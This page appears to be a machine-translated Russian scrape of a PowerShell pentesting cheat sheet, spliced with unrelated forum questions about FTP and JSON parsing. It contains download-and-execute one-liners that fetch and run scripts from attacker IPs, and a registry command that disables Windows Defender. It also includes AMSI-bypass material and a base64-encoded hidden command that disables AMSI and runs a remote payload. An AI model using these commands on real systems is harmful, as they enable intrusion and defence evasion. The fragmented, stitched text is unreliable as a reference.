Основные команды PS для начала
Список загруженных файлов
Список всех содержащих process
Получить полную справку по теме
## Создать объект учетных данных
Start-Process -Credential ($cred) -NoNewWindow powershell iex (New-Object Net.WebClient).DownloadString(http://10.10.14.11:443/ipst.ps1)В этот период я был вынужден создать нечто подобное в PowerShell из-за использования FTP. Пожалуйста, обратите внимание, что FtpWebRequest официально не рекомендуется для новых разработок. Имейте в виду, что здесь нет обработки ошибок, поэтому наружу установите $ErrorActionPreference = Stop и используйте try catch. Управление ресурсами может быть не совершенным, так что будьте осторожны.
Изучайте взлом AWS с нуля до героя с помощью htARTE (HackTricks AWS Red Team Expert)! Другие способы поддержать HackTricks: Если вы хотите увидеть рекламу вашей компании в HackTricks или скачать HackTricks в PDF, проверьте ПЛАНЫ ПОДПИСКИ!
## Проверить порт или одиночный IP
## Проверить список портов в одиночном IP
## Проверить диапазон портов в одном IP
## Проверить список портов в списках IP - 80,443,445,8080
## Открыть SSH для мира SSH (Порт 22)
## Получить имя, протокол, локальные и удаленные порты,
## удаленный адрес, разрешить, профиль и направление
## Проверить статус
## Чтобы полностью отключить Windows Defender на компьютере, используйте команду:
New-ItemProperty -Path HKLM:SOFTWAREPoliciesMicrosoftWindows Defender -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
## Установить путь исключения
## Проверить настроенные исключения через GPO
KeyName : SoftwarePoliciesMicrosoftWindows DefenderExclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
KeyName : SoftwarePoliciesMicrosoftWindows DefenderExclusionsPaths
ValueName : C:WindowsTemp
ValueType : REG_SZamsi.dll загружается в ваш процесс и имеет необходимые экспорты для взаимодействия с любым приложением. И поскольку он загружен в память процесса, который вы контролируете,
вы можете изменить его поведение, перезаписав инструкции в памяти. Это позволяет ему ничего не обнаруживать.
Цель обхода AMSI заключается в перезаписи инструкций этой DLL в памяти, чтобы сделать обнаружение бесполезным.
Веб-страница генератора обхода AMSI: https://amsi.fail/
## Метод А
## Другой: с https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
## Другой метод: с https://github.com/HernanRodriguez1/Bypass-AMSI
## Другой метод: с https://github.com/HernanRodriguez1/Bypass-AMSI
## Другой метод: с https://github.com/HernanRodriguez1/Bypass-AMSI
## Другой метод
## Обход AMSI на python
## Тестирование обхода Amsi:AMSI Bypass 2 – Перехват вызова управляемого API
Посмотрите этот пост для подробной информации и кода.
Введение:
Эта новая техника основана на перехвате вызова API методов .NET. .NET методы должны быть скомпилированы в нативные машинные инструкции в памяти, которые в итоге выглядят очень похоже на нативные методы. Эти скомпилированные методы могут быть перехвачены для изменения потока управления программы.
Шаги выполнения перехвата вызова API методов .NET:
AMSI Bypass 3 – Привилегия SeDebug
AMSI Bypass – Дополнительные ресурсы
| id | key | position | sourceType |
|---|---|---|---|
| 0-0 | someone | 0 | Manual |
| 0-1 | someone1 | 1 | Manual |
| 0-2 | someone2 | 2 | Manual |
| 0-3 | someone3 | 3 | Manual |
Вот первый код, который я попробовал, который хотя бы что-то производит:
Результаты ниже выглядят так, будто все сжато в один элемент или свойство (простите мое недостаточное знание терминологии), но я ожидал массив, содержащий элемент для каждого элемента в таблице, из которой я извлекаю данные. Или это несколько элементов, которые ConvertFrom-Json не делит, как должен?:Поэтому вместо этого я пытаюсь:
Результатом этого является пустой массив. Я изменяю команду select-object на Select-Object -Property \* в конвейере: Тот же пустой массив.Теперь я пытаюсь это:
$request = curl.exe -H Csrf-Token:nocheck -H $token -H Content-Type: application/json -H Accept: application/json $uri $data = ConvertFrom-Json -InputObject $request $dataРезультаты такие же, как и при первом шаге, который я попробовал!
И вот это:
Результат: ConvertFrom-Json: Недопустимый основной JSON:.Я попробовал несколько других перестановок, включая использование Out-String перед ConvertFrom-Json, но без успеха. Есть ли у кого-то идеи, как это решить?
с . .configsexample.com_update_gd_dns_cfg.ps1:
Мне хотелось бы увидеть этот ответ: единственные значения, которые меня интересуют, это domain, nameServers и expires.По какой-то причине вместо ответа сервера я получаю этот ответ:
Я не могу получить желаемый ответ, в чем проблема в моем коде?Я попробовал этот код:
Почему он не печатает оставшиеся значения запроса?Преобразование строки SDDL в удобочитаемый формат
Пароль : 1ts SecurePassword : System.Security.SecureString Domain : HTBИли непосредственно разбор из XML:
По умолчанию местоположения PowerShell
##Это включает winrm Изменить категорию сетевого соединения на ЧастноеСкачать и выполнить
$h = New-Object -ComObject Msxml2.XMLHTTP; $h.open(GET, http://10.10.14.9:8000/ipw.ps1, $false); $h.send(); iex $h.responseText #разместите текстовую запись с вашим полезным нагрузкой на одном из ваших (не сожженных) доменов и сделайте это:Скачать & Выполнить в фоне с обходом AMSI:
Start-Process -NoNewWindow powershell -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=Использование b64 из Linux:
Пароль из защищенной строки
Конец файла.
Похоже, что можно получить размер файлов и даты их обновления на удаленном сервере, но так как у меня не было таланта для дизайна, ориентированного на традиционный FTP, я избавился от этого. Тестирование тоже сделано небрежно.
Что вы можете сделать, зарегистрировавшись
- Найти более новые файлы
Опции: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc



